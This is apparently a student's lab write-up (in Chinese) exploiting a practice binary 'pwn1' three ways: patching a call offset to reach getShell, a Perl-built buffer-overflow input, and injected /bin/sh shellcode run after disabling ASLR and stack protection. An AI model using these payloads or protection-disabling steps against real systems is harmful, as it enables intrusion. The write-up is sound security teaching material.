20165120 马鹏云 实验一pc平台逆向破解=v=

1.1实验目标:

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

1.2基础知识:

  • 熟悉Linux基本操作
    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 指令、参数

  • 重要的是理解思路。

直接修改程序机器指令,改变程序执行流程:

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术

首先我们拿到pwn1这个文件,我看大部分人都丢到kali里面做,我这个人比较懒(其实是Linux指令不太熟),能用图形界面就用图形界面,所以我直接用ida做的这一项(我觉得不会有人跟我一样的做法所以图片我就不加水印了)

我们首先用ida打开pwn1这个文件:

一大堆汇编代码,看的头痛,搜一下:

搜到了三个结果,我们可以看到第三条是用了call指令,双击进去:

我们可以看到地址高亮的那一行就是我们的call指令所在位置,ida这里有一点跟kali不一样,它没有直接显示调用哪里的foo函数,所以我们在这个foo这里右键它:

跳转到操作数,我们可以看到高亮了地址8048491,是说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,e8就是跳转的意思。

本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

♂修改执行文件我用的winhex,有兴趣的同学可以下下来玩一下:

活用搜索功能,搜d7找到位置,改成c3:

另存为一下,然后这个新文件丢到kali里面打开(到头来还是要用):

我们可以看到已经正常getshell了,然后我们跑来试一下:

由此可见是成功了的

ps:我在测试中碰到了一件很奇怪的事情,明明ls显示了这个文件,但是就是跑不了,最后在中楷同学的kali上跑成功了(点名表扬),百度之后知道了应该是没有32位的运行库 ia32-libs的原因,但是我尝试装过了之后还是不行(开始自闭)耽误了很多时间,至今还在排查原因。。。

通过构造输入参数,造成BOF攻击,改变程序执行流:

首先我们反汇编一下这个程序,了解程序基本功能:

我们可以看到函数getShell,我们的目标是触发这个函数

 该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞

在foo函数中我们可以看到:

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 804849a:	89 04 24             	mov    %eax,(%esp)
 
 这里读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
 
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave
然后图中的call调用foo,同时在堆栈上压上返回地址值:0x80484ba
我们接下来确认输入字符串哪几个字符会覆盖到返回地址:

如图所示我们用info r指令查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址

所以我们就将getShell的地址0x0804847d把1234替换即可

由于数据按小端存储,我们的应该输入为11111111222222223333333344444444\x7d\x84\x04\x08

但是后来发现,我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值

所以这里我们需要用到Perl这个解释型语言,输入:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 生成包括字符串的一个文件(\x0a表示回车)

使用16进制查看指令xxd确认input文件内容

 

确认无误后用(cat input;cat) | ./pwn20165120将input中的字符串作为可执行文件的输入

 

 

 

注入Shellcode并执行:

使用apt-get install execstack命令安装execstack,以便接下来可以设置易于攻击的环境(以前装过了,所以这个步骤就是这样的截图)

 

使用如下指令进行配置:

  • execstack -s pwn1
  • execstack -q pwn1
  • more /proc/sys/kernel/randomize_va_space
  • echo "0" > /proc/sys/kernel/randomize_va_space
  • more /proc/sys/kernel/randomize_va_space

我们的目的是向foo函数输入参数,造成缓冲区溢出,改变foo的返回地址,,跳到shellcode。也就是,找到foo函数的返回的地址,将其改成shellcode开始的地址
使用命令   perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

注入,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,下面找这个返回地址。

接下来我们要分两个终端分步进行:

  • 在一个终端里用 (cat input_shellcode;cat) | ./pwn20165120 注入这段攻击,回车后把这个终端放在这里,然后去打开另一个终端。

  • 在第二个终端中(如下图)

  1. ps -ef | grep pwn 查看pwn进程号
  2. 用gdb, attach 10181 去调试这个进程
  3. disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址:
  4. 用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址
  5. 用x/16x 0xffffd17c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd180
  6. 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令

然后用命令perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

改地址,然后用(cat input_shellcode;cat) | ./pwn1执行程序,结果如下图:

可见已经成功,本次实验完成。

实验收获与感想:

本次实验总体来说比较顺利,但是还是碰到了相关问题,在kali 64位下运行 ./pwn1 会跳出来说没有这个文件或者目录,但是ls看又有这个文件,很是奇怪。然后经过了一系列的排查之后发现,其实原因很简单,是因为他没有32位的运行库 ia32-libs ,直接安装即可。下载链接http://pkgs.org/download/ia32-libs,下载mint 17 的deb 用软件中心安装就行 依赖啥的自动解决。有遇到一样的问题的同学可以参考一下。

 什么是漏洞?漏洞的有什么危害?:

顾名思义所谓漏洞,应该是某种缺陷,比如说系统、硬件、软件等等有缺陷,而且可以被人利用的地方。

漏洞的危害小则无伤大雅,大则可以引起整个国家的严重损失。包括个人隐私信息、经济、乃至国家安全,都有可能受到漏洞的危害。

posted @ 2019-03-11 00:46  吃饭吃不饱  阅读(358)  评论(0编辑  收藏  举报